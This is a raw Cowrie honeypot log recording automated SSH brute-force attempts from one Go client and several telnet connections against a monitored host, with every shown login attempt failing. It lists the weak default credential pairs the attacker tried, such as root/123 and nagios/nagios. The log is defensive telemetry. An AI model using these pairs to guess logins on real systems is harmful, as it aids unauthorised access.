{"eventid":"cowrie.login.failed","username":"ricardo","password":"123456","message":"login attempt [ricardo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:48.591598Z","src_ip":"45.153.34.114","session":"96701fdd9aa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:49.677501Z","src_ip":"45.153.34.114","session":"96701fdd9aa2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":36662,"dst_ip":"159.203.135.109","dst_port":23,"session":"edc0f6b4bab8","protocol":"telnet","message":"New connection: 74.91.213.120:36662 (159.203.135.109:23) [session: edc0f6b4bab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:55.187940Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59786,"dst_ip":"159.203.135.109","dst_port":22,"session":"310be51ad0fe","protocol":"ssh","message":"New connection: 45.153.34.114:59786 (159.203.135.109:22) [session: 310be51ad0fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:56.190999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:56.195600Z","src_ip":"45.153.34.114","session":"310be51ad0fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:56.280434Z","src_ip":"45.153.34.114","session":"310be51ad0fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"nagios","message":"login attempt [nagios/nagios] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:56.623277Z","src_ip":"45.153.34.114","session":"310be51ad0fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:01:57.707622Z","src_ip":"45.153.34.114","session":"310be51ad0fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":58744,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc12cfbc3f20","protocol":"telnet","message":"New connection: 74.91.213.120:58744 (159.203.135.109:23) [session: dc12cfbc3f20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:01.404897Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":58746,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5c150e31654","protocol":"telnet","message":"New connection: 74.91.213.120:58746 (159.203.135.109:23) [session: d5c150e31654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:03.670474Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":44822,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b7338d91d1a","protocol":"ssh","message":"New connection: 45.153.34.114:44822 (159.203.135.109:22) [session: 3b7338d91d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:04.181445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:04.185643Z","src_ip":"45.153.34.114","session":"3b7338d91d1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:04.273867Z","src_ip":"45.153.34.114","session":"3b7338d91d1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:04.554392Z","src_ip":"45.153.34.114","session":"3b7338d91d1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:05.645646Z","src_ip":"45.153.34.114","session":"3b7338d91d1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.220.3.165","src_port":59310,"dst_ip":"159.203.135.109","dst_port":23,"session":"597cb72be3e0","protocol":"telnet","message":"New connection: 31.220.3.165:59310 (159.203.135.109:23) [session: 597cb72be3e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:11.016472Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59274,"dst_ip":"159.203.135.109","dst_port":22,"session":"626aebb7e1c5","protocol":"ssh","message":"New connection: 45.153.34.114:59274 (159.203.135.109:22) [session: 626aebb7e1c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:12.638508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:12.643760Z","src_ip":"45.153.34.114","session":"626aebb7e1c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:12.731408Z","src_ip":"45.153.34.114","session":"626aebb7e1c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:12.986519Z","src_ip":"45.153.34.114","session":"626aebb7e1c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:14.142327Z","src_ip":"45.153.34.114","session":"626aebb7e1c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":40674,"dst_ip":"159.203.135.109","dst_port":22,"session":"c47ad9985dfb","protocol":"ssh","message":"New connection: 45.153.34.114:40674 (159.203.135.109:22) [session: c47ad9985dfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:20.491342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:20.496092Z","src_ip":"45.153.34.114","session":"c47ad9985dfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:20.580464Z","src_ip":"45.153.34.114","session":"c47ad9985dfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123456","message":"login attempt [aaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:20.835779Z","src_ip":"45.153.34.114","session":"c47ad9985dfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:21.929072Z","src_ip":"45.153.34.114","session":"c47ad9985dfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":40682,"dst_ip":"159.203.135.109","dst_port":22,"session":"57b353caf290","protocol":"ssh","message":"New connection: 45.153.34.114:40682 (159.203.135.109:22) [session: 57b353caf290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:28.406686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:28.414277Z","src_ip":"45.153.34.114","session":"57b353caf290","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:28.491267Z","src_ip":"45.153.34.114","session":"57b353caf290","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:28.828974Z","src_ip":"45.153.34.114","session":"57b353caf290","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.4809730052948,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:29.668757Z","src_ip":"74.91.213.120","session":"edc0f6b4bab8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:29.927406Z","src_ip":"45.153.34.114","session":"57b353caf290","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":44756,"dst_ip":"159.203.135.109","dst_port":23,"session":"21b3bf9f04d8","protocol":"telnet","message":"New connection: 74.91.213.120:44756 (159.203.135.109:23) [session: 21b3bf9f04d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:31.989348Z"}
{"eventid":"cowrie.session.closed","duration":31.152547121047974,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:32.557333Z","src_ip":"74.91.213.120","session":"dc12cfbc3f20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.136035442352295,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:34.806373Z","src_ip":"74.91.213.120","session":"d5c150e31654","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":37450,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce8df00dfc7a","protocol":"ssh","message":"New connection: 45.153.34.114:37450 (159.203.135.109:22) [session: ce8df00dfc7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:36.262109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:36.267181Z","src_ip":"45.153.34.114","session":"ce8df00dfc7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:36.357090Z","src_ip":"45.153.34.114","session":"ce8df00dfc7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:36.774582Z","src_ip":"45.153.34.114","session":"ce8df00dfc7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:37.877040Z","src_ip":"45.153.34.114","session":"ce8df00dfc7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":50814,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a19bd6c861a","protocol":"ssh","message":"New connection: 45.153.34.114:50814 (159.203.135.109:22) [session: 6a19bd6c861a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:43.734415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:43.743148Z","src_ip":"45.153.34.114","session":"6a19bd6c861a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:43.828429Z","src_ip":"45.153.34.114","session":"6a19bd6c861a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:44.092137Z","src_ip":"45.153.34.114","session":"6a19bd6c861a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.176060914993286,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:44.192406Z","src_ip":"31.220.3.165","session":"597cb72be3e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:45.183386Z","src_ip":"45.153.34.114","session":"6a19bd6c861a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":33028,"dst_ip":"159.203.135.109","dst_port":22,"session":"385fc7967802","protocol":"ssh","message":"New connection: 45.153.34.114:33028 (159.203.135.109:22) [session: 385fc7967802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:51.755255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:51.787042Z","src_ip":"45.153.34.114","session":"385fc7967802","protocol":"ssh"}
